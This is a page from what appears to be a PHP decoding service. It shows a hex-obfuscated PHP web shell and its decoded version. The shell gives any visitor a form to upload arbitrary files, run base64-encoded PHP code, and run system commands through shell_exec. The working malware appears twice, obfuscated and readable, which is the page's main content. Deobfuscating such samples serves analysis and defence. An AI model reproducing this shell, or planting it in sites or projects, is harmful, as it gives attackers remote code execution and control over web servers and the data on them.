Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php${"\x47\x4c\x4fB\x41L\x53"}["k\x77\x75\x76\x79\x76p\x6as\x67\x6d\x79"]="f\x69\x6c\x65..
Decoded Output download
<?php${"GLOBALS"}["kwuvyvpjsgmy"]="fileHandle";${"GLOBALS"}["gvdyqqnv"]="tmp";${"GLOBALS"}["kocmvduc"]="output";${"GLOBALS"}["lhrztutbtu"]="vari";${"GLOBALS"}["nkyorxc"]="tmpFile";echo"<style>body{background-color:black;color:white;}</style><formaction=\"" method=\"post\" enctype="multipart/form-data"name=\"uploader\"id="uploader\"><input type="file" name=\"file\" size=\"50"><input name=\"_upl"type="submit\"id=\"_upl"value="Upload\"><br><br><label for="">PHP command</label><input type=\"text"name="phpcmd"id=""><input name=\"_upl" type=\"submit\"id="_upl\" value="runphp command"><br><br><label for=\"">Shellcommand</label><input type="text\" name=\"shellcmd" id=\"\"><input name=\"_upl" type=\"submit" id=\"_upl" value=\"run shell command"></form>";if($_POST["_upl"]=="Upload"){if(@copy($_FILES["file"]["tmp_name"],$_FILES["file"]["name"]));}if($_POST["_upl"]=="runphpcommand"){${"GLOBALS"}["uvykymcuxvpl"]="tmpFile";${"GLOBALS"}["yqxwjkyqn"]="tmp";$mjgukujbd="fileHandle";$uamrjy="fileHandle";${"GLOBALS"}["hfsdccutgg"]="tmp";$hvqrlfbimmrm="tmpFile";${${"GLOBALS"}["nkyorxc"]}=tempnam(sys_get_temp_dir(),"dynamic");$urxjfihnrxh="output";${$uamrjy}=fopen(${${"GLOBALS"}["uvykymcuxvpl"]},"w");${${"GLOBALS"}["hfsdccutgg"]}=base64_decode($_POST["phpcmd"]);$bkpdevtlro="vari";${$bkpdevtlro}="<?php".${${"GLOBALS"}["yqxwjkyqn"]}."?>";$dbpyfqfbmbq="fileHandle";fwrite(${$dbpyfqfbmbq},${${"GLOBALS"}["lhrztutbtu"]});fclose(${$mjgukujbd});ob_start();include${${"GLOBALS"}["nkyorxc"]};${${"GLOBALS"}["kocmvduc"]}=ob_get_clean();unlink(${$hvqrlfbimmrm});echo(${$urxjfihnrxh});}if($_POST["_upl"]=="run shellcommand"){$olkbseygw="vari";${"GLOBALS"}["gmlucsecp"]="output";$vgwgfvfnye="vari";$oryukgrbft="fileHandle";${"GLOBALS"}["wwljcygx"]="tmpFile";${${"GLOBALS"}["nkyorxc"]}=tempnam(sys_get_temp_dir(),"dynamic");$eikgqjxokkvo="output";$gbnccrpeev="tmpFile";${"GLOBALS"}["sckcoujqws"]="fileHandle";${$oryukgrbft}=fopen(${${"GLOBALS"}["wwljcygx"]},"w");${${"GLOBALS"}["gvdyqqnv"]}=$_POST["shellcmd"];${$vgwgfvfnye}="<?php echo(@shell_exec("".${${"GLOBALS"}["gvdyqqnv"]}.""));?>";fwrite(${${"GLOBALS"}["sckcoujqws"]},${$olkbseygw});fclose(${${"GLOBALS"}["kwuvyvpjsgmy"]});ob_start();include${$gbnccrpeev};${${"GLOBALS"}["gmlucsecp"]}=ob_get_clean();unlink(${${"GLOBALS"}["nkyorxc"]});echo(${$eikgqjxokkvo});}
?>
Did this file decode correctly?
Original Code
<?php${"\x47\x4c\x4fB\x41L\x53"}["k\x77\x75\x76\x79\x76p\x6as\x67\x6d\x79"]="f\x69\x6c\x65\x48\x61\x6e\x64l\x65";${"\x47\x4c\x4f\x42\x41L\x53"}["gvd\x79\x71\x71\x6ev"]="\x74\x6d\x70";${"G\x4c\x4f\x42A\x4cS"}["\x6bo\x63\x6d\x76\x64\x75\x63"]="o\x75\x74\x70\x75\x74";${"\x47L\x4f\x42\x41\x4c\x53"}["l\x68rz\x74\x75\x74\x62tu"]="va\x72\x69";${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6e\x6b\x79o\x72\x78\x63"]="\x74\x6dp\x46i\x6c\x65";echo"\x3c\x73\x74\x79\x6c\x65>\x62\x6fdy{ba\x63\x6b\x67\x72\x6fun\x64-col\x6fr:\x62l\x61\x63k\x3bc\x6f\x6c\x6fr:\x77\x68i\x74\x65\x3b}\x3c/\x73\x74y\x6c\x65>\x3c\x66or\x6dacti\x6fn=\"\x22\x20met\x68\x6f\x64=\"post\"\x20\x65n\x63ty\x70e\x3d\x22\x6d\x75lti\x70a\x72t/fo\x72\x6d-\x64at\x61\x22n\x61\x6de\x3d\"\x75ploader\"\x69\x64\x3d\x22\x75\x70\x6coa\x64\x65r\">\x3cin\x70u\x74\x20\x74y\x70e\x3d\x22fi\x6ce\x22\x20\x6eame\x3d\"\x66\x69le\"\x20siz\x65\x3d\"50\x22>\x3ci\x6e\x70u\x74\x20\x6eame\x3d\"\x5fupl\x22\x74\x79\x70\x65=\x22sub\x6d\x69t\"\x69d=\"_upl\x22\x76\x61l\x75\x65\x3d\x22\x55\x70\x6c\x6f\x61\x64\">\x3c\x62\x72\x3e<b\x72\x3e<\x6c\x61\x62\x65\x6c\x20f\x6f\x72\x3d\x22\x22>\x50HP\x20\x63o\x6dma\x6ed\x3c/l\x61\x62\x65\x6c\x3e<i\x6e\x70ut\x20\x74y\x70\x65=\"\x74\x65x\x74\x22na\x6de=\x22ph\x70cmd\x22i\x64=\x22\x22\x3e\x3ci\x6ep\x75t\x20n\x61\x6de\x3d\"_u\x70\x6c\x22\x20t\x79p\x65=\"s\x75bmi\x74\"id=\x22\x5fupl\"\x20va\x6cu\x65\x3d\x22\x72\x75\x6e\x70h\x70\x20\x63o\x6dm\x61nd\x22>\x3c\x62\x72\x3e<b\x72\x3e\x3c\x6cabe\x6c\x20\x66or=\"\x22\x3eSh\x65\x6cl\x63\x6f\x6dm\x61nd\x3c/label\x3e<\x69npu\x74\x20\x74\x79\x70\x65=\x22te\x78\x74\"\x20name\x3d\"s\x68\x65\x6clc\x6d\x64\x22\x20\x69\x64\x3d\"\"\x3e<inp\x75\x74\x20na\x6de=\"\x5fupl\x22\x20\x74\x79\x70\x65=\"s\x75\x62\x6d\x69t\x22\x20\x69d=\"\x5fup\x6c\x22\x20\x76a\x6cue\x3d\"\x72\x75\x6e\x20s\x68e\x6cl\x20c\x6f\x6dma\x6ed\x22></fo\x72\x6d\x3e";if($_POST["\x5f\x75p\x6c"]=="U\x70\x6c\x6fad"){if(@copy($_FILES["f\x69l\x65"]["\x74\x6d\x70_\x6e\x61\x6de"],$_FILES["\x66\x69le"]["n\x61\x6de"]));}if($_POST["_\x75\x70\x6c"]=="ru\x6ep\x68p\x63omma\x6ed"){${"GLO\x42\x41\x4c\x53"}["\x75\x76y\x6b\x79\x6dc\x75\x78vp\x6c"]="\x74\x6dp\x46\x69\x6ce";${"\x47LO\x42A\x4c\x53"}["y\x71xw\x6a\x6b\x79\x71n"]="\x74\x6dp";$mjgukujbd="\x66\x69leH\x61\x6e\x64\x6c\x65";$uamrjy="\x66\x69le\x48\x61\x6e\x64\x6c\x65";${"\x47\x4c\x4f\x42AL\x53"}["h\x66\x73\x64\x63\x63u\x74\x67\x67"]="tm\x70";$hvqrlfbimmrm="tmp\x46\x69\x6c\x65";${${"GLO\x42\x41\x4c\x53"}["\x6e\x6by\x6fr\x78\x63"]}=tempnam(sys_get_temp_dir(),"\x64y\x6e\x61\x6d\x69\x63");$urxjfihnrxh="\x6f\x75\x74put";${$uamrjy}=fopen(${${"G\x4cO\x42\x41L\x53"}["\x75\x76\x79\x6b\x79\x6d\x63\x75\x78vpl"]},"w");${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x68\x66\x73\x64\x63\x63\x75\x74\x67\x67"]}=base64_decode($_POST["\x70\x68p\x63md"]);$bkpdevtlro="\x76\x61\x72\x69";${$bkpdevtlro}="\x3c?p\x68p".${${"\x47L\x4f\x42\x41\x4c\x53"}["y\x71\x78\x77\x6a\x6b\x79q\x6e"]}."?>";$dbpyfqfbmbq="f\x69l\x65Ha\x6ed\x6ce";fwrite(${$dbpyfqfbmbq},${${"\x47\x4cOBAL\x53"}["lhr\x7at\x75tbt\x75"]});fclose(${$mjgukujbd});ob_start();include${${"\x47\x4c\x4f\x42\x41LS"}["\x6eky\x6f\x72\x78\x63"]};${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6b\x6f\x63m\x76\x64\x75\x63"]}=ob_get_clean();unlink(${$hvqrlfbimmrm});echo(${$urxjfihnrxh});}if($_POST["_upl"]=="\x72\x75n\x20\x73\x68ell\x63o\x6d\x6da\x6e\x64"){$olkbseygw="\x76a\x72\x69";${"G\x4c\x4fB\x41\x4c\x53"}["\x67m\x6c\x75c\x73\x65\x63\x70"]="\x6f\x75\x74\x70\x75t";$vgwgfvfnye="\x76\x61\x72\x69";$oryukgrbft="\x66i\x6c\x65\x48\x61\x6e\x64\x6c\x65";${"\x47\x4c\x4fB\x41\x4c\x53"}["w\x77\x6cj\x63\x79gx"]="\x74\x6dpF\x69\x6c\x65";${${"G\x4cOB\x41\x4cS"}["\x6e\x6byor\x78c"]}=tempnam(sys_get_temp_dir(),"dy\x6e\x61mi\x63");$eikgqjxokkvo="\x6fu\x74\x70u\x74";$gbnccrpeev="\x74\x6d\x70\x46\x69\x6ce";${"\x47\x4cO\x42\x41\x4c\x53"}["\x73c\x6b\x63\x6f\x75\x6aq\x77\x73"]="f\x69\x6c\x65\x48\x61\x6e\x64\x6c\x65";${$oryukgrbft}=fopen(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x77wl\x6ac\x79\x67\x78"]},"w");${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x67v\x64\x79\x71q\x6e\x76"]}=$_POST["s\x68e\x6c\x6cc\x6d\x64"];${$vgwgfvfnye}="\x3c?p\x68\x70\x20\x65\x63h\x6f(\x40\x73\x68e\x6cl_\x65x\x65c(\x22".${${"\x47\x4c\x4f\x42\x41L\x53"}["g\x76\x64\x79q\x71\x6e\x76"]}."\x22));?\x3e";fwrite(${${"G\x4cOB\x41\x4cS"}["s\x63\x6b\x63\x6f\x75j\x71\x77s"]},${$olkbseygw});fclose(${${"\x47\x4cOBA\x4cS"}["k\x77\x75\x76y\x76\x70j\x73\x67\x6d\x79"]});ob_start();include${$gbnccrpeev};${${"G\x4c\x4fB\x41\x4cS"}["\x67\x6d\x6c\x75\x63\x73\x65\x63\x70"]}=ob_get_clean();unlink(${${"\x47L\x4f\x42AL\x53"}["n\x6by\x6f\x72xc"]});echo(${$eikgqjxokkvo});}
?>
Function Calls
None |
Stats
MD5 | ddb55aea30669c82cdcbd4822306c098 |
Eval Count | 0 |
Decode Time | 33 ms |